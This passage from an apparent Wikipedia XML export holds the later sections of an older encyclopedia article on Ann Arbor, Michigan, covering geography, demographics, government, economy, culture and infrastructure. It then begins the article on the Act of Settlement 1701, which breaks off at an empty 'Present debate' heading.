According to the [[United States Census Bureau]], the city has a total area of 27.7&amp;nbsp;[[square mile|mi&amp;sup2;]] (71.7&amp;nbsp;[[square kilometre|km&amp;sup2;]]); 27.0&amp;nbsp;mi&amp;sup2; (70.0&amp;nbsp;km&amp;sup2;) of it is land and 0.7 mi&amp;sup2; (1.7&amp;nbsp;km&amp;sup2;) of it is water.  The total area is 2.42% water, much of it being part of the [[Huron River (Michigan)|Huron River]]. Ann Arbor is approximately 40&amp;nbsp;[[mile]]s (64&amp;nbsp;[[kilometre|km]]) west of [[Detroit]], a 45-minute car ride on [[Interstate 94|I-94]]. [[Ann Arbor Charter Township, Michigan|Ann Arbor Charter Township]] is adjacent, on the city's north and east sides.

Ann Arbor is situated on the [[Huron River (Michigan)|Huron River]], in a productive agricultural and fruit-growing region. The landscape of Ann Arbor consists of rolling hills and [[valley]]s, with the terrain becoming steeper near the Huron River and more level elsewhere. The elevation ranges from about 750&amp;nbsp;[[foot (unit of length)|feet]] (230&amp;nbsp;[[metre|m]]) along the Huron River to about 900&amp;nbsp;feet (275&amp;nbsp;m) above sea level in southern and northeastern Ann Arbor.{{ref|terrain}} The elevation is about 839&amp;nbsp;feet (256&amp;nbsp;m) at Ann Arbor Municipal Airport, which is located at {{coor dm|42|13.38|N|83|44.74|W|region:US}}.

===Cityscape===
Ann Arbor's &quot;Tree Town&quot; moniker stems from the dense forestation of its parks and residential areas. The city holds almost as many trees as residents, with more than 50,000 trees sited along city streets and an equal number in city parks.{{ref|trees}} In recent years, the [[emerald ash borer]] has destroyed many of the city’s approximately 10,500 [[ash tree]]s.

The city contains 147 municipal parks, ranging from neighborhood vest-pocket parks to large recreation areas, with several large city parks and a university park bordering sections of the Huron River. The largest are Argo Park, Riverside Park, County Farm Park, and Gallup Park (near the Huron Parkway), while Fuller Recreation Area, near the [[University of Michigan Health System|University Hospital]] complex, contains sports fields, pedestrian and [[bike path]]s, and swimming pools. [[Nichols Arboretum]], which is jointly owned by the City of Ann Arbor and the [[University of Michigan]] (and known locally as &quot;The Arboretum&quot; or just &quot;The Arb&quot;), is a 123-acre (50 hectare) preserve on the east side of the city near downtown. It contains hundreds of plant and tree species and was expressly left to the city and the university for the benefit of the people of Ann Arbor and the children of Ann Arbor's public schools.

The Kerrytown Shops, Main Street Business District, the State Street Business District, and the South University Business District are commercial areas in downtown. Three commercial areas south of downtown include the areas near [[Interstate 94|I-94]] and Ann Arbor-Saline Road, Briarwood Mall, and the South Industrial area. Other commercial areas include the Arborland/Washtenaw Avenue and Packard Road merchants on the east side, the Plymouth Road area in the northeast, and the Westgate/West Stadium areas on the west side. The downtown contains a mix of 19th and early 20th-century structures and modern-style buildings, as well as a [[farmers' market]] in the Kerrytown district. The city’s commercial districts are mostly comprised of two to four-story structures, although the downtown and the area near Briarwood Mall contain a small number of high-rise buildings.

Ann Arbor's residential neighborhoods contain a range of architectural styles, from classic 19th and early 20th-century designs to [[ranch-style house]]s. More contemporary-style houses are located farther from the downtown district. Surrounding the University of Michigan campus are houses and apartment complexes occupied primarily by student renters. The 19th-century buildings and streetscape of the Old West Side neighborhood have been preserved virtually intact; in 1972, the district was listed on the [[National Register of Historic Places]], and it is further protected via city ordinances and a nonprofit preservation group.

===Climate===
Ann Arbor has a typically [[Midwestern United States|Midwestern]] [[temperate]] seasonal climate, which is influenced by the [[Great Lakes]]. There are four seasons, with winters being cold with moderate [[snowfall]] while summers can be warm and humid. The area does experience [[lake effect]] primarily in the form of increased cloudiness during late fall and early winter.{{ref|weather1}} The highest average temperature is in July at 83&amp;nbsp;&amp;deg;[[fahrenheit|F]] (28&amp;nbsp;&amp;deg;[[celsius|C]]) while the lowest average temperature is in January at 16&amp;nbsp;&amp;deg;F (&amp;minus;9&amp;nbsp;&amp;deg;C). However, summer temperatures can top 90&amp;nbsp;&amp;deg;F (32&amp;nbsp;&amp;deg;C), and winter temperatures can drop below 0&amp;nbsp;&amp;deg;F (&amp;minus;17&amp;nbsp;&amp;deg;C). Average monthly precipitation ranges from 2 to 4&amp;nbsp;[[inch|inches]] (44 to 92&amp;nbsp;[[millimetre|mm]]), with the heaviest occurring during the summer months. Snowfall, which normally occurs from November to April, ranges from 1 to 10&amp;nbsp;inches (3 to 25&amp;nbsp;[[centimetre|cm]]) per month.{{ref|weather}} The highest recorded temperature was 105&amp;nbsp;&amp;deg;F (40.6&amp;nbsp;&amp;deg;C) on [[July 24]], [[1934]], while the lowest recorded temperature was &amp;minus;22.0&amp;nbsp;&amp;deg;F (&amp;minus;30&amp;nbsp;&amp;deg;C) on [[January 19]], [[1994]].{{ref|weather2}}

==Demographics==
[[Image:SouthU.jpg|thumb|right|200px|South University Avenue caters to young people.]]
As of the [[census]][[Geographic references#2|&lt;sup&gt;2&lt;/sup&gt;]] of 2000, there are 114,024 people, 45,693 households, and 21,704 families residing in the city. About 30,000 university students are added to the population each September. The [[population density]] is 4,221.1/mi&amp;sup2; (1,629.9/km&amp;sup2;). There are 47,218 housing units at an average density of 1,748.0/mi&amp;sup2; (675.0/km&amp;sup2;). The racial makeup of the city is 74.68% [[White (U.S. Census)|White]], 8.83% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.29% [[Native American (U.S. Census)|Native American]], 11.90% [[Asia]]n, 0.04% [[Pacific Islander (U.S. Census)|Pacific Islander]], 1.21% from [[Race (U.S. Census)|other races]], and 3.05% from two or more races.  3.34% of the population are [[Hispanic American]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 45,693 households out of which 23.0% have children under the age of 18 living with them, 37.8% are [[Marriage|married couples]] living together, 7.5% have a female householder with no husband present, and 52.5% are nonfamilies. 35.5% of all households are made up of individuals and 6.6% have someone living alone who is 65 years of age or older.  The average household size is 2.22 and the average family size is 2.90.

In the city the population is spread out with 16.8% under the age of 18, 26.8% from 18 to 24, 31.2% from 25 to 44, 17.3% from 45 to 64, and 7.9% who are 65 years of age or older.  The median age is 28 years.  For every 100 females there are 97.7 males.  For every 100 females age 18 and over, there are 96.4 males.

The median income for a household in the city is $46,299, and the median income for a family is $71,293. Males have a median income of $48,880 versus $36,561 for females. The [[per capita income]] for the city is $26,419.  16.6% of the population and 4.6% of families are below the [[poverty line]].  Out of the total population, 7.3% of those under the age of 18 and 5.1% of those 65 and older are living below the poverty line.

Ann Arbor’s crime rate is below the national average. Compared with that average, the violent crime rate is much lower than the property crime rate: 50% and 26% less than the national average, respectively.

{| class=&quot;infobox&quot; style=&quot;width:100%; font-size:95%; text-align:left;&quot;
|-
! colspan=&quot;2&quot; style=&quot;background-color: #e0e0e0; text-align:center;&quot; | Violent and property crime statistics
|-
| align=&quot;center&quot; |[[Image:Ann Arbor Violent Crime (by type), 2004.svg|200px]] [[Image:Ann Arbor Property Crime (by type), 2004.svg|200px]]
|-
! colspan=&quot;2&quot; style=&quot;background-color: #e0e0e0; text-align:center;&quot; | Comparision with national averages
|-
| align=&quot;center&quot; |[[Image:Ann Arbor Crime Statistics, 2004.svg|200px]] [[Image:Ann Arbor Violent Crime Statistics, 2004.svg|200px]] [[Image:Ann Arbor Property Crime Statistics, 2004.svg|200px]]
|}

==Government and politics==
[[Image:AACityHall.JPG|thumb|200px|The Guy C. Larcom, Jr. Municipal Building houses the city hall and police station]]
Ann Arbor has a [[mayor]]-[[city council|council]] form of government. The mayor, who is elected every even-numbered year, is the presiding officer of the City Council and has the power to appoint all Council committee members as well as board and commission members, with the approval of the City Council. The City Council has ten members, two from each of the city's five wards, with the mayor wielding the tie-breaking vote. Council members serve two-year terms, with half the council elected in annual elections. 

Ann Arbor is located in the 15th Congressional district, and is represented by Representative [[John Dingell]] ([[Democratic Party (United States)|D]]), the longest-serving member of the [[United States House of Representatives|U.S. House]]. On the state level, the city is in the 18th district in the [[Michigan Senate]]. In the [[Michigan State House of Representatives]], the city of Ann Arbor is in the 53rd district, while northeastern Ann Arbor and Ann Arbor Township are in the 52nd district. As the seat of [[Washtenaw County, Michigan|Washtenaw County]], the city is the location of the county's trial, civil, and criminal courts. Ann Arbor is also the site of a [[United States district court]], whose downtown building also houses a [[post office]].

[[Left-wing politics]] have been particularly strong in municipal government since the 1960s – an orientation evident in the passage of [[rent control|rent-control]] and strong [[civil rights|antidiscrimination]] ordinances, as well as voter-approved charter amendments that have [[Marijuana laws in Ann Arbor, Michigan|lessened the penalties]] for possession of marijuana (1974) and that aim to protect access to [[abortion]] in the city should it ever become illegal in the State of Michigan (1990). In 1974, [[Kathy Kozachenko|Kathy Kozachenko's]] victory in an Ann Arbor city-council race made her the country's first openly [[gay]] or [[lesbian]] candidate to win public office. In 1975, Ann Arbor became the first U.S. city to use [[instant-runoff voting]] for a mayoral race. Adopted through a ballot initiative sponsored by the local [[Human Rights Party]], which feared a splintering of the left/liberal vote, the process was repealed in 1976 after use in only one election. As of February 2006, [[Democratic Party (United States)|Democrats]] hold the mayorship and all ten council seats.

Ann Arbor is the [[Town twinning|sister city]] to various municipalities around the world, including [[Tübingen]], [[Germany]] (since 1965); [[Belize City]], [[Belize]] (since 1967); [[Hikone]], [[Japan]] (since 1969); [[Peterborough, Ontario]], [[Canada]] (since 1983); [[Juigalpa]], [[Nicaragua]] (since 1986); and [[Dakar]], [[Senegal]] (since 1997).

{{seealso|List of mayors of Ann Arbor, Michigan}}

==Economy==
The University of Michigan plays a major role in shaping Ann Arbor's economy, both through its role as the city's largest employer (with approximately 15,000 workers plus an additional 6,000 at its medical center), and by attracting companies through its graduates and research and development work. Aside from education, [[high tech]], health services and [[biotechnology]] are major components of the city's economy, with numerous medical offices, laboratories, and associated companies located within the city. Companies associated with the [[automobile industry]], such as [[General Motors]] and [[Ford Motor Company|Ford]], also employ a large number of residents. Nevertheless, the city's economy remains relatively stable due to the major presence of the University of Michigan.

[[Image:AA Downtown.JPG|thumb|200px|left|Downtown Ann Arbor highrises]]
There are a number of high-tech companies located in the city. Ann Arbor Terminals, during the 1980s, was the manufacturer of the famous video-display terminal, the Ann Arbor Ambassador. Other high-tech companies in the area include Arbortext (provider of XML-based publishing software), Harris &amp; Baseview (provider of newspaper publishing software and ASP services), and [[ProQuest]], which includes [[UMI]].

Websites and online media companies located in the city include [[All Media Guide]], [[Everything2]], and the [[Weather Underground (weather service)|Weather Underground]]. Ann Arbor is also the site of the Michigan Information Technology Center (MITC), whose offices also house [[Internet2]] and the Merit Network, a nonprofit research and education computer network.

[[Pfizer]] operates a large pharmaceutical research facility on the northeast side of town. It was previously operated by Warner-Lambert and, before that, Parke-Davis. The city is the home of other research and engineering centers, including those of [[General Dynamics]] and the [[National Oceanic &amp; Atmospheric Administration]] (NOAA). Other research centers sited in the city are the [[Environmental Protection Agency]]'s National Vehicle and Fuel Emissions Laboratory and the [[Toyota|Toyota Technical Center]].  

Ann Arbor serves as the headquarters to several major companies. The original [[Borders Books]] was opened on Ann Arbor's State Street in 1971 by brothers Tom and Louis Borders, and began operating other outlets around the region beginning in 1985. The Borders chain is still based in the city, as is its flagship store (although not in its original location). A little-known fact is that dogs are allowed inside the flagship store, and the cashiers have a stock of doggy treats for canine visitors. [[Domino's Pizza]]'s headquarters are in Ann Arbor on Domino's Farms, a massive 271-acre (109 hectare) [[Frank Lloyd Wright]]-inspired complex in the northeastern portion of the city. Flint Ink Corp., another Ann Arbor-based company, was until recently the world's largest privately held ink manufacturer (in October 2005 it was acquired by Stuttgart-based XSYS Print Solutions). Another Ann Arbor-based company is [[Zingerman's|Zingerman's Delicatessen]], which serves sandwiches and Jewish foods, and has derived and developed a variety of businesses under different brand names.

Many [[cooperatives|cooperative]] enterprises were founded in the city during the 1960s and 1970s; among those that survive today are the [[People's Food Co-op, Ann Arbor|People's Food Co-op]] and the [[Inter-Cooperative Council at the University of Michigan]], a student-housing cooperative. The [[North American Students of Cooperation]] (NASCO) is an association of cooperatives, headquartered in Ann Arbor. There are also three [[Sunward Cohousing|cohousing]] communities located just outside the city limits to the west.

==Education==
[[image:Annarbor um law library.jpg|200px|right|thumb|Rackham School of Graduate Studies, University of Michigan]]
The [[University of Michigan]] is the dominant institution of higher learning in Ann Arbor, providing the city with a distinctly [[college town|college-town]] atmosphere. Much of the campus is adjacent to and intermixed with the city's downtown district. Because the campus and the city expanded side-by-side, there is often no firm divide between the two, with university buildings scattered through much of the city center.

Other colleges and universities located in the city are [[Cleary University]], a private business school; [[Concordia University, Ann Arbor|Concordia University]], a Lutheran liberal-arts institution; and [[Washtenaw Community College]]. [[Ave Maria School of Law]], a Catholic institution established by [[Domino's Pizza]] cofounder [[Tom Monaghan]], opened in northeastern Ann Arbor in 2000. There were plans to establish [[Ave Maria University]] on land occupied by Domino's Farms. However, due to conflicts with local zoning authorities, the new campus is under construction near [[Naples, Florida]].

The Ann Arbor Public School District – which enrolls a total of 16,885 students (2004/2005 September head count) – consists of twenty-one [[elementary school]]s, five [[middle school]]s, and five [[high school]]s (two traditional, Pioneer and Huron, as well as three alternative schools: [[Community High School, Ann Arbor, Michigan|Community High]], Stone School, and Roberto Clemente). The district operates an open school program out of Mack Elementary School, as well as a preschool and family center with programs starting as early as birth for at-risk infants and other programs for at-risk children before [[kindergarten]].

Due to overcrowding problems at the two traditional high schools, a third traditional high school is under construction.  Originally slated to open for the fall of 2006, the school's competion date and budget status is in jeopardy as of February 2006. Ann Arbor Public School officials are currently looking at other options for accomodating the district's students until the third high school is complete.

==Culture==
{{main|Culture in Ann Arbor, Michigan}}
[[Image:AnnArborMural.jpg|thumb|left|200px|Mural outside a restaurant on Liberty Street. Further down the street (right of image) is the Borders bookstore.]]
Ann Arbor has a number of cultural attractions and events, many sponsored by the University of Michigan. Numerous performing arts groups and facilities are located on the university's campus, as are museums dedicated to [[art]], [[archaeology]], and natural history and sciences (''see [[Museums at the University of Michigan]]''). The [[Matthaei Botanical Gardens]], located on the northeastern edge of Ann Arbor, is operated by the university. Performing arts groups not associated with the university include the Ann Arbor Civic Theatre; the Arbor Opera Theater; the Ann Arbor Symphony Orchestra; the Ann Arbor Ballet Theater; the Ann Arbor Civic Ballet (established in 1954), which was Michigan's first chartered ballet company{{ref|dance}}; and Performance Network, which operates a downtown theater frequently offering new or nontraditional plays.

The [[Ann Arbor Hands-On Museum]], located in a historic downtown fire station, contains more than 250 interactive exhibits featuring science and technology. Artrain, located on North Main Street, bills itself as the nation's only traveling art museum on a train. A number of other art galleries exist in the city, notably in the downtown area and around the University of Michigan campus.

Near the State Street area are three major [[theater]]s: the [[Michigan Theater (Ann Arbor)|Michigan Theater]], a renovated 1920s movie palace now hosting live performances, independent films, and classic movies, and serving as home base for the Ann Arbor Symphony Orchestra; the State Theater; and the University of Michigan's [[Hill Auditorium]]. In the Main Street area, the [[Ark (folk venue)|Ark]] hosts folk and acoustic music, while a number of smaller venues and [[nightclub]]s serve up jazz and other live music. The Main Street area, as well as South State Street and South University Avenue, is also the center of a large restaurant scene in the city.

Among U.S. cities, Ann Arbor ranks first in the number of booksellers and books sold per capita.{{ref|books}} The Ann Arbor District Library has three branch outlets in addition to its main downtown building. The city is also home to the [[Gerald R. Ford Presidential Library]].

Ann Arbor is known for college sports, notably at the University of Michigan, a member of the [[Big Ten Conference]]. Several well-known college sports facilities exist in the city, including [[Michigan Stadium]] (whose seating capacity rivals the entire population of Ann Arbor), [[Crisler Arena]], and [[Yost Ice Arena]]. [[Concordia University, Ann Arbor, Michigan|Concordia University]], a member of the [[National Association of Intercollegiate Athletics|NAIA]], also fields sports teams.

A person from Ann Arbor is called an &quot;Ann Arborite.&quot; The city itself is often called ''A&amp;sup2;'' (&quot;A-squared&quot;) or ''A2'' (&quot;A two&quot;), and less commonly ''Tree Town'' (or, usually [[tongue-in-cheek]], ''The People's Republic of Ann Arbor''). Recently, some youth have taken to calling Ann Arbor ''Ace Deuce'' or simply ''The Deuce''.

===Events===
A number of annual events – many of them centered on performing and visual arts – draw visitors to Ann Arbor from around the state and the region. The Ann Arbor Folk Festival, an annual [[benefit concert]] held in late January for the [[Ark (folk venue)|Ark]], features many folk musicians. The [[Ann Arbor Film Festival]] is held for six days in March at the [[Michigan Theater (Ann Arbor)|Michigan Theater]]. EdgeFest is a multi-venue festival of avant-garde and progressive jazz, held each autumn since 1997.

More unorthodox annual events include the [[Hash Bash]] and the Naked Mile. Held on the first Saturday of April since 1971, the Hash Bash is an event in support of the reform of [[marijuana]] laws. It includes speeches, live music, street vending, and occasional [[civil disobedience]]. Since 1986, the notorious Naked Mile has featured students [[Streaking|running naked]] through the streets in late April to celebrate the end of the winter semester. Originally police blocked off the streets to allow the run, but beginning in 2000, a crackdown by university and city police citing safety concerns has forced participants to adapt, with the event appearing in various reduced forms since.{{ref|nakedmile}}

Many large-scale events occur during the summer months. These include the Taste of Ann Arbor, a one-day event held during the first week of June in the downtown area; and the Ann Arbor Summer Festival, a three-and-a-half-week series of concerts, plays, and films typically held from mid-June through early July at the Power Center and atop the adjacent parking structure, which is host to the free &quot;Top of the Park&quot; events.

The Ann Arbor Art Fairs, a set of four concurrent juried fairs held on downtown streets, began in 1960. Scheduled on Wednesday through Saturday in the third week of July, the fairs draw upward of half a million visitors from across the nation. The oldest and most competitive of the four fairs is the Ann Arbor Street Art Fair.

Other summertime events include the Blues and Jazz Festival (established in 1969), which is usually held in mid-September at Gallup Park. The Dexter-Ann Arbor Run is a running race from [[Dexter, Michigan|Dexter]] to downtown Ann Arbor along the [[Huron River (Michigan)|Huron River]]. In late August the Shopping Cart Race, an unofficial and somewhat underground competition, has been held since 1998 as part of the annual [[Seize the Week, Ann Arbor, Michigan|Seize the Week]] series of events, known through 2004 as &quot;Punk Week&quot;.

===Media===
The ''Ann Arbor News'', owned by the Michigan-based [[Booth newspapers|Booth Newspapers]] chain, is the major daily newspaper serving Ann Arbor. Other established publications in the city include the ''Ann Arbor Observer'' – a monthly magazine with features covering local culture, politics, family life, business and history – along with the ''Current'', an entertainment guide, and the ''Ann Arbor Paper'', a free monthly with columns, fiction, humor, reviews, and profiles. The campus area is served by a variety of student publications, including the independent ''[[Michigan Daily]]''.

The three major Ann Arbor–based [[amplitude modulation|AM]] [[radio station]]s are [[WAAM]] 1600, a news and talk station; [[WLBY]] 1290, an [[Air America Radio]] affiliate; and [[WTKA]] 1050, which is primarily a sports station. The city's [[frequency modulation|FM]] stations include [[National Public Radio|NPR]] affiliate [[WUOM]] 91.7; country station [[WWWW]] 102.9; adult-alternative station [[WQKL]] 107.1; and [[WCBN]] 88.3, a noncommercial, student-run station with eclectic music and public-affairs programming. The city is also served by [[public broadcasting|public radio broadcasters]] in Ypsilanti, East Lansing, Detroit, and Toledo. [[CBC Radio One]] and [[CBC Radio Two]] affiliates from [[Windsor, Ontario]], can also be heard in Ann Arbor.

[[WPXD]] channel 31, an affiliate of the [[i (TV network)|i television network]], is licensed to the city. Community Television Network (CTN) is a city-provided cable television channel with production facilities open to city residents and nonprofit organizations. [[Detroit, Michigan|Detroit]]-area radio and [[television station]]s also serve Ann Arbor.

==Infrastructure==
===Health and medicine===
The [[University of Michigan Health System|University of Michigan Medical Center]], the preeminent health facility in the city, is the world's largest university medical center and is considered one of the nation's best hospitals, taking the #11 slot in the 2005 ''[[U.S. News &amp; World Report]]'' rankings. The University of Michigan Health System (UMHS) includes University Hospital, C.S. Mott Children's Hospital and Women's Hospital in its core complex. UMHS also operates out-patient clinics and facilities elsewhere in the city. The area's other major medical centers include a large facility operated by the [[United States Department of Veterans Affairs|Department of Veterans Affairs]] in Ann Arbor and Saint Joseph Mercy Hospital in nearby [[Ypsilanti, Michigan|Ypsilanti]].

===Transportation===
[[Image:AATA Bus.JPG|thumb|200px|An AATA bus, with the blue-roofed Blake Transit Center in the background.]]
The city is belted by three [[highway]]-grade roadways: [[Interstate 94|I-94]] (which runs along the southern portion of the city), [[U.S. Highway 23|US 23]] (which primarily runs along the eastern edge of Ann Arbor), and [[Michigan State Highway 14|M-14]] (which runs along the northern edge of the city).

The streets in downtown Ann Arbor conform to a grid pattern, though this pattern is less apparent in the surrounding areas. Several major roads branch out from the downtown district like spokes on a wheel to the highways surrounding the city. Some of the major surface arteries lead to the I-94/M-14 juncture in the west, US 23 in the east, and the city's southern areas. Also, a large and expanding network of [[bike path]]s crisscrosses the city.

The [[Ann Arbor Transportation Authority]] (AATA), which brands itself as &quot;The Ride,&quot; operates public [[bus]] services throughout Ann Arbor and nearby [[Ypsilanti, Michigan|Ypsilanti]]. A separate free bus service operates within the University of Michigan campuses. Plans have been floated several times to operate a trolley service between downtown and Briarwood Mall along disused rail tracks, although these have not come to fruition as of 2005. For out-of-town bus service, a downtown bus depot is served by [[Greyhound Lines]], and is the city's only remaining example of the [[Streamline Moderne]] architectural style.

[[Ann Arbor Municipal Airport]] is a small aircraft general aviation facility located south of [[Interstate 94|I-94]]. [[Detroit Metropolitan Airport]], the area's large international airport, is located about 28 miles (45 km) east of the city, in [[Romulus, Michigan|Romulus]]. Additionally, [[Willow Run Airport]] in nearby Ypsilanti serves freight, corporate, and general aviation clients, and some people use [[Windsor Airport]], 50 miles (80 km) east of the city, for commercial flight as it can actually be a shorter trip than the Detroit airport depending on traffic.

The city was a major rail hub, notably for freight traffic between [[Toledo, Ohio|Toledo]] and ports north of [[Chicago, Illinois|Chicago]] from 1878 to 1982, though the [[Ann Arbor Railroad]] also sold 1.1 million passenger tickets in 1913 alone.{{ref|train}} The city was also served by the [[Michigan Central Railroad]] starting in 1837. Currently, [[Amtrak]] provides passenger rail service from Ann Arbor to [[Detroit, Michigan|Detroit]] and [[Chicago, Illinois]] via the Ann Arbor Train Station; the present-day station neighbors the city's old Michigan Central Depot, which was renovated as a restaurant in 1969. There have been plans to build a [[commuter rail]] link between Ann Arbor and Detroit, with the U.S. federal government providing [[United States dollar|$]]100 million to enable its development.{{ref|train2}}

===Utilities===
[[Image:AnnArborHydrant.JPG|thumb|120px|right|One of 39 downtown [[fire hydrant]]s [http://www.arts.umich.edu/programs/special/firehydrant/index.html painted by students]. This hydrant's artist was in elementary school; others were in high school or college.]]
The city provides sewage disposal and water supply services, with water coming from the Huron River and groundwater sources. There are two [[Water purification|water-treatment]] plants, one main and three outlying [[dam|reservoir]]s, four pump stations, and two [[water tower|elevated tanks]]. These facilities serve the city, which is divided into five water districts. Along with these facilities, the city's water department also operates four dams along the Huron River, two of which provide [[hydroelectric power]].{{ref|water}} The city also offers waste management services, with recycling being handled by Recycle Ann Arbor. Other utilities are primarily provided by private entities. [[Electrical power]] and gas are provided by DTE Energy, Consumers Energy, and MichCon. [[AT&amp;T]], the successor to Michigan Bell, [[Ameritech]], and SBC Communications, is the primary wired telephone service provider for the area. Phone service is also available from various [[List of United States mobile phone companies|national wireless companies]]. Cable service is primarily provided by [[Comcast]].

==Notes==
#{{note|population}}[http://cheektowagatimes.com/News/2001/0125/Front_Page/10.html Police chief pursues post in Ann Arbor (1-25-2001)]. ''Cheektowaga Times''.
#{{note|terrain}}''Information obtained from [http://www.topozone.com TopoZone.com]''.
#{{note|trees}}[http://www.annarbor.org/aboutannarbor/funfacts.asp Fun Facts (2005)]. ''Ann Arbor Area Convention and Visitor's Bureau''. Access September 6, 2005.
#{{note|weather1}}[http://www.michiganvacations.com/regions/Ann-Arbor-Michigan.html Ann Arbor]. ''MichiganVacations.com''. Accessed August 18, 2005.
#{{note|weather}}[http://www.wunderground.com/NORMS/DisplayNORMS.asp?AirportCode=KYIP&amp;SafeCityName=Ann_Arbor&amp;StateCode=MI&amp;Units=none&amp;IATA=DTW  Average High/Low Temperatures for KYIP]. ''Weather Underground (wunderground.com)''. Accessed August 17, 2005.
#{{note|weather2}}[http://weather.yahoo.com/climo/USMI0028_f.html Records and Averages - Ann Arbor]. ''Ann Arbor Weather Forecasts on Yahoo! Weather''. Accessed August 31, 2005.
#{{note|dance}}[http://www.arborweb.com/entindex.html City Guide - Dance]. ''arborweb.com''. Accessed August 18, 2005.
#{{note|books}}[http://www.ecurrent.com/ag/2003/shop/list.php#boo Ann Arbor Guide 2003-4]. ''Ecurrent.com''. Accessed August 17, 2005.
#{{note|nakedmile}}[http://www.goodspeedupdate.com/naked-mile-data-4-10-03.html Naked Mile Data Page]. ''goodspeedupdate.com''.
#{{note|train}}[http://clarke.cmich.edu/michrailroads/building.htm Michigan's Ann Arbor Railroads - Building the Ann Arbor]. ''Central Michigan University - Clarke Historical Library''. Accessed September 1, 2005.
#{{note|train2}}Mulcahy, John (August 28, 2005). [http://www.mlive.com/news/aanews/index.ssf?/base/news-14/112522397069040.xml&amp;coll=2 Is commuter rail finally on fast track? Federal grant gets Ann Arbor-Detroit link moving]. ''Ann Arbor News''. Accessed September 1, 2005.
#{{note|water}}[http://www.ci.ann-arbor.mi.us/PublicServices/Water/WTP/int-treat.html Water Treatment (2005)]. ''City of Ann Arbor''. Accessed September 7, 2005.

==References==
*[http://moaa.aadl.org/PictHistory/PictHis.php Pictorial History of Ann Arbor (2003)]. ''Ann Arbor District Library''
* ''Encyclopedia of Michigan''. (1999). St. Clair Shores, MI: Somerset Publishers.
* ''Michigan Gazetteer''. (1991). Wilmington, DE: American Historical Publications.
*{{cite book | author=Marwil, Jonathan | year=1990 | title=A History of Ann Arbor | publisher=Ann Arbor: University of Michigan Press}}
*{{cite book | author=Schmittroth, Linda (Ed.) | year=1994 | title=Cities of the United States | publisher=Detroit: Gale Group | edition=4th edition}}

==External links==
{{Commonscat|Ann Arbor, Michigan}}
*[http://www.ci.ann-arbor.mi.us/ City's official website]
*[http://www.annarbor.org/ Ann Arbor Area Convention and Visitor's Bureau]
*[http://arborweb.com/ Arborweb.com]—Contains Ann Arbor event listings
*[http://www.arborupdate.com ArborUpdate.com]—Ann Arbor community news
*[http://www.annarborisoverrated.com/ Ann Arbor is Overrated]—Irreverent blog on the city's foibles and shortcomings
*[http://www.arborblogs.com/ ArborBlogs]—Index of popular Ann Arbor community weblogs
*[http://arborwiki.org ArborWiki]—A wiki for Ann Arbor
*{{wikitravel|Ann Arbor}}
{{Mapit-US-cityscale|42.27535|-83.73084}}
{{Michigan}}

[[Category:Ann Arbor, Michigan| ]]
[[Category:Washtenaw County, Michigan]]
[[Category:Cities in Michigan]]
[[Category:University towns]]
[[Category:County seats in Michigan]]

[[de:Ann Arbor]]
[[es:Ann Arbor]]
[[eo:Arbaro de Ana, Miŝigano]]
[[fr:Ann Arbor]]
[[hi:ऍन आर्बर्]]
[[ms:Ann Arbor, Michigan]]
[[nl:Ann Arbor]]
[[pl:Ann Arbor (Michigan)]]
[[pt:Ann Arbor]]
[[fi:Ann Arbor]]
[[sv:Ann Arbor]]
[[zh:安娜堡]]</text>
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  </page>
  <page>
    <title>Act of Settlement 1701</title>
    <id>2070</id>
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      <comment>/* Background */  bypass redirect</comment>
      <text xml:space="preserve">[[Image:Sophia of Hanover.jpg|thumb|150px|The Electress Sophia]]
The '''Act of Settlement''' (12 &amp; 13 Wm 3 c.2) is the main [[Act of Parliament]] that governs the [[Line of succession to the British throne|line of succession]] to the [[British monarchy|British throne]], and since the patriation of each [[Commonwealth Realm]]'s constitution from the UK, now performs the same task within those nations, unless their laws specifically state that the UK Act of Settlement continues to have effect within their jurisdiction.  Thus, the Act is now a key part of the constitutions of the [[Constitution of the United Kingdom|United Kingdom]] and of the other [[Commonwealth Realms]].

==Background==

Originally an Act of the [[Parliament of England]], it was passed in [[1701]] (1700 in [[Old Style and New Style dates|Old Style dates]]) during the reign of [[William III of England|King William III]]. As the King was childless, and his wife [[Mary II of England|Mary II]] had died in [[1694]], the throne would pass to Mary's sister, [[Anne of Great Britain|Princess Anne]] on the King's death. However Anne's last surviving child, [[William, Duke of Gloucester]] died in 1700, and it was unlikely she would ever have any more children. Under the [[Bill of Rights 1689]], the line of succession was limited to the desdendants of Mary II and Anne, thus there was a need for a new law to allow the succession to continue in the Protestant line, and to exclude the deposed [[James II of England|James II]] and his son, [[James Francis Edward Stuart]].

==Provisions of the Act==

The Act provided that the throne would pass to [[Sophia of Hanover|The Electress Sophia of Hanover]], a granddaughter of [[James I of England|James I/VII]], and her descendants. Only the descendants of Sophia who were not Catholic, or married to a Catholic could succeed the throne. In addition, it specifies that it is for [[Parliament]] to determine who should succeed to the throne, not the monarch.

==Act of Union==

This Act was, in many ways, the major cause of the [[Acts of Union 1707|Union]] of [[Scotland]] with [[England and Wales]] to form the [[Kingdom of Great Britain]].  The [[Parliament of Scotland]] was not happy with the Act of Settlement and, in response, passed the [[Act of Security]] in [[1704]], which gave Scotland the right to choose their own successor to [[Anne of Great Britain|Queen Anne]].

As a result, the [[Parliament of England]] decided that full union of the two Parliaments and nations was essential before Anne's death, and used a combination of exclusionary legislation (the [[Alien Act of 1705]]), politics, and [[bribery]] to achieve it within three years under the [[Act of Union 1707]].  This was in marked contrast to the four attempts at political union between [[1606]] and [[1689]], which all failed owing to a lack of political will.  By virtue of Article II of the [[Treaty of Union]], which defined the succession to the [[British Crown]], the Act of Settlement became part of [[Scots Law]].

Sophia died before Anne, so the result of the Act was the succession of Sophia's son George as [[George I of Great Britain|King George I]], in preference to many of his cousins.

As a result of the Act of Settlement, several members of the [[British Royal Family]] who have converted to Roman Catholicism or married Roman Catholics have been barred from succeeding to the Crown, though since George I no individual has actually been excluded from the throne on the grounds of religion.

==Present debate==

